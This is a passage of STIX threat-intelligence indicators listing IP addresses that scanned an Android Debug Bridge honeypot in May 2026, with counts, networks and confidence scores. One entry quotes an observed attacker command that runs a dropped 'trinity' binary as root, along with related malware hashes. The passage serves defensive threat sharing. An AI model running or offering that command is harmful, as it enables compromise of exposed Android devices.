      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T15:00:15.000Z",
      "valid_until": "2026-06-20T15:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 70,
          "first_seen": "2026-05-19T14:47:47.000Z",
          "last_seen": "2026-05-24T07:49:32.200Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "BG"
          ],
          "asn": [
            "213438"
          ],
          "org": [
            "ColocaTel Inc."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=SC; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=840 | first_seen=2026-05-16T22:43:18.000Z | last_seen=2026-05-29T01:56:34.713Z | ports=5555 | cc=SC | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--8713c501-d10d-4a72-9a79-47e204cd4989",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '160.119.76.4']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:00:02.000Z",
      "valid_until": "2026-06-20T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 840,
          "first_seen": "2026-05-16T22:43:18.000Z",
          "last_seen": "2026-05-29T01:56:34.713Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "SC"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=8 | first_seen=2026-05-19T15:16:02.000Z | last_seen=2026-05-19T15:26:09.611Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--c842da96-ab42-494f-97db-0b46715a7e2f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:00:02.000Z",
      "valid_until": "2026-06-20T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 8,
          "first_seen": "2026-05-19T15:16:02.000Z",
          "last_seen": "2026-05-19T15:26:09.611Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T16:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-19T15:14:51.000Z | last_seen=2026-05-19T15:15:51.565Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--b967c67d-6b98-4bb5-8861-56bca92dea71",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '184.105.139.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T16:00:02.000Z",
      "valid_until": "2026-06-20T16:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-19T15:14:51.000Z",
          "last_seen": "2026-05-19T15:15:51.565Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "6939"
          ],
          "org": [
            "Hurricane Electric LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T17:00:37.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=NL; asn=49870; asn_org=Alsycon B.V.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=10 | first_seen=2026-05-19T16:49:14.000Z | last_seen=2026-05-24T19:06:35.986Z | ports=5555 | cc=NL | asn=49870 | org=Alsycon B.V.",
      "id": "indicator--e52f12ce-e95f-403f-bcf7-9b3db2211858",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.224.128.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T17:00:37.000Z",
      "valid_until": "2026-06-20T17:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 10,
          "first_seen": "2026-05-19T16:49:14.000Z",
          "last_seen": "2026-05-24T19:06:35.986Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "NL"
          ],
          "asn": [
            "49870"
          ],
          "org": [
            "Alsycon B.V."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=16; ports=5555; cc=US; asn=36352; asn_org=HostPapa; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-19T18:33:24.000Z | last_seen=2026-05-19T18:38:25.271Z | ports=5555 | cc=US | asn=36352 | org=HostPapa",
      "id": "indicator--a84f160d-4bd0-42bd-b6aa-6d9582ca9583",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '23.94.204.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:00:02.000Z",
      "valid_until": "2026-06-20T19:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 16,
          "first_seen": "2026-05-19T18:33:24.000Z",
          "last_seen": "2026-05-19T18:38:25.271Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "36352"
          ],
          "org": [
            "HostPapa"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T19:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=PL; asn=200730; asn_org=ISAEV Igor; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-19T18:53:09.000Z | last_seen=2026-05-19T18:54:19.143Z | ports=5555 | cc=PL | asn=200730 | org=ISAEV Igor",
      "id": "indicator--45026b27-e49c-46e5-8459-403e0b4ded73",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '87.251.64.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T19:00:02.000Z",
      "valid_until": "2026-06-20T19:00:00.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-19T18:53:09.000Z",
          "last_seen": "2026-05-19T18:54:19.143Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "PL"
          ],
          "asn": [
            "200730"
          ],
          "org": [
            "ISAEV Igor"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=55; ports=5555; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; adb_cmd_hits=0; cmd=\"/data/local/tmp/nohup su -c /data/local/tmp/trinity\"\n\nObserved in ADBHoney telemetry for 2026-05. events=62 | first_seen=2026-05-19T19:56:52.000Z | last_seen=2026-05-19T20:09:59.825Z | ports=5555 | cc=CN | asn=4837 | org=CHINA UNICOM China169 Backbone | related_hashes=0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257,63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857,a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437,d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0",
      "id": "indicator--d5709c13-87ae-49a9-bd62-5561784b027e",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot",
        "dropper",
        "malware-distribution"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '125.40.221.117']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:00:02.000Z",
      "valid_until": "2026-06-20T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 62,
          "first_seen": "2026-05-19T19:56:52.000Z",
          "last_seen": "2026-05-19T20:09:59.825Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "CN"
          ],
          "asn": [
            "4837"
          ],
          "org": [
            "CHINA UNICOM China169 Backbone"
          ],
          "related_hashes": [
            "0d3c687ffc30e185b836b99bd07fa2b0d460a090626f6bbbd40a95b98ea70257",
            "63946c28efa919809c03be75a3937c4be80589a9df79cd1be72037d493b70857",
            "a1b6223a3ecb37b9f7e4a52909a08d9fd8f8f80aee46466127ea0f078c7f5437",
            "d7188b8c575367e10ea8b36ec7cca067ef6ce6d26ffa8c74b3faa0b14ebb8ff0"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T20:00:02.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=DE; asn=8881; asn_org=1&1 Versatel GmbH; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-19T19:54:34.000Z | last_seen=2026-05-19T19:55:41.830Z | ports=5555 | cc=DE | asn=8881 | org=1&1 Versatel GmbH",
      "id": "indicator--3d076547-54c1-42e9-adf1-12f31156c3ed",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '202.71.141.170']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T20:00:02.000Z",
      "valid_until": "2026-06-20T20:00:01.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-19T19:54:34.000Z",
          "last_seen": "2026-05-19T19:55:41.830Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "DE"
          ],
          "asn": [
            "8881"
          ],
          "org": [
            "1&1 Versatel GmbH"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-19T22:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=23; ports=5555; cc=US; asn=396982; asn_org=Google LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=23 | first_seen=2026-05-19T21:07:00.000Z | last_seen=2026-05-19T21:18:41.504Z | ports=5555 | cc=US | asn=396982 | org=Google LLC",
      "id": "indicator--5248052d-fd15-4102-8b4d-80b457a5b775",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.242']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-19T22:00:10.000Z",
      "valid_until": "2026-06-20T22:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 23,
          "first_seen": "2026-05-19T21:07:00.000Z",
          "last_seen": "2026-05-19T21:18:41.504Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "396982"
          ],
          "org": [
            "Google LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=8; ports=5555; cc=AZ; asn=201814; asn_org=MEVSPACE sp. z o.o.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=1472 | first_seen=2026-05-19T23:16:48.000Z | last_seen=2026-05-26T09:28:20.051Z | ports=5555 | cc=AZ | asn=201814 | org=MEVSPACE sp. z o.o.",
      "id": "indicator--a55f8348-552d-479c-9577-dba47b6b07e7",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '109.205.211.99']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:00:04.000Z",
      "valid_until": "2026-06-21T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 80,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 1472,
          "first_seen": "2026-05-19T23:16:48.000Z",
          "last_seen": "2026-05-26T09:28:20.051Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "AZ"
          ],
          "asn": [
            "201814"
          ],
          "org": [
            "MEVSPACE sp. z o.o."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T01:00:04.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=13; ports=5555; cc=US; asn=13737; asn_org=Interconnecx, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=44 | first_seen=2026-05-20T00:38:03.000Z | last_seen=2026-05-31T20:30:08.501Z | ports=5555 | cc=US | asn=13737 | org=Interconnecx, LLC",
      "id": "indicator--c654fc74-7160-489f-b54c-05cae9b5648f",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.212.255.126']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T01:00:04.000Z",
      "valid_until": "2026-06-21T01:00:03.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 70,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 44,
          "first_seen": "2026-05-20T00:38:03.000Z",
          "last_seen": "2026-05-31T20:30:08.501Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "13737"
          ],
          "org": [
            "Interconnecx, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T05:00:11.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=5; ports=5555; cc=VN; asn=7602; asn_org=Sai gon Postel Corporation; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=5 | first_seen=2026-05-20T04:42:47.000Z | last_seen=2026-05-20T04:43:50.191Z | ports=5555 | cc=VN | asn=7602 | org=Sai gon Postel Corporation",
      "id": "indicator--bc20d73f-0460-47c5-9275-594828903b15",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '180.93.228.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T05:00:11.000Z",
      "valid_until": "2026-06-21T05:00:02.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 60,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 5,
          "first_seen": "2026-05-20T04:42:47.000Z",
          "last_seen": "2026-05-20T04:43:50.191Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "VN"
          ],
          "asn": [
            "7602"
          ],
          "org": [
            "Sai gon Postel Corporation"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T06:00:07.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=HK; asn=9269; asn_org=Hong Kong Broadband Network Ltd.; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-20T05:29:01.000Z | last_seen=2026-05-20T05:30:34.072Z | ports=5555 | cc=HK | asn=9269 | org=Hong Kong Broadband Network Ltd.",
      "id": "indicator--accc8db6-3e8f-4723-9ad4-424c519cd178",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '59.188.170.234']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T06:00:07.000Z",
      "valid_until": "2026-06-21T06:00:06.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-20T05:29:01.000Z",
          "last_seen": "2026-05-20T05:30:34.072Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "HK"
          ],
          "asn": [
            "9269"
          ],
          "org": [
            "Hong Kong Broadband Network Ltd."
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T10:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-20T09:33:00.000Z | last_seen=2026-05-20T09:34:08.306Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--de271026-418d-41be-a159-4964ca5f209d",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.199.65.51']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:00:10.000Z",
      "valid_until": "2026-06-21T10:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-20T09:33:00.000Z",
          "last_seen": "2026-05-20T09:34:08.306Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T10:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=4; ports=5555; cc=US; asn=14061; asn_org=DigitalOcean, LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=4 | first_seen=2026-05-20T09:04:49.000Z | last_seen=2026-05-20T09:05:55.231Z | ports=5555 | cc=US | asn=14061 | org=DigitalOcean, LLC",
      "id": "indicator--d94dd246-d6f8-486a-b6b7-7f0131dd6977",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '206.189.233.77']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-20T10:00:10.000Z",
      "valid_until": "2026-06-21T10:00:09.000Z",
      "indicator_types": [
        "malicious-activity"
      ],
      "confidence": 40,
      "external_references": [
        {
          "source_name": "NadSec",
          "description": "Enriched from T-Pot CE Elasticsearch telemetry (ADBHoney)."
        }
      ],
      "extensions": {
        "x_nadsec": {
          "sensor": "adbhoney",
          "month": "2026-05",
          "event_count": 4,
          "first_seen": "2026-05-20T09:04:49.000Z",
          "last_seen": "2026-05-20T09:05:55.231Z",
          "ports": [
            "5555"
          ],
          "countries": [
            "US"
          ],
          "asn": [
            "14061"
          ],
          "org": [
            "DigitalOcean, LLC"
          ]
        }
      },
      "created_by_ref": "identity--3c2b9b51-4a74-4d8f-a6c2-7f4c5a3d0b7a",
      "object_marking_refs": [
        "marking-definition--b2b1c6e8-9c3d-4b3a-8a7c-7e3f3f1a8a22"
      ]
    },
    {
      "created": "2026-05-20T12:00:10.000Z",
      "description": "Attacker IP \u2022 ADB / seen in ADBHoney; events=9; ports=5555; cc=US; asn=6939; asn_org=Hurricane Electric LLC; adb_cmd_hits=0\n\nObserved in ADBHoney telemetry for 2026-05. events=16 | first_seen=2026-05-20T11:24:04.000Z | last_seen=2026-05-30T12:22:55.262Z | ports=5555 | cc=US | asn=6939 | org=Hurricane Electric LLC",
      "id": "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
      "labels": [
        "scanning_host",
        "nadsec",
        "tpot",
        "adbhoney",
        "android",
        "iot"
      ],
      "modified": "2026-05-31T23:36:08Z",
      "name": "OTX pulse_name=ADBHoney \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
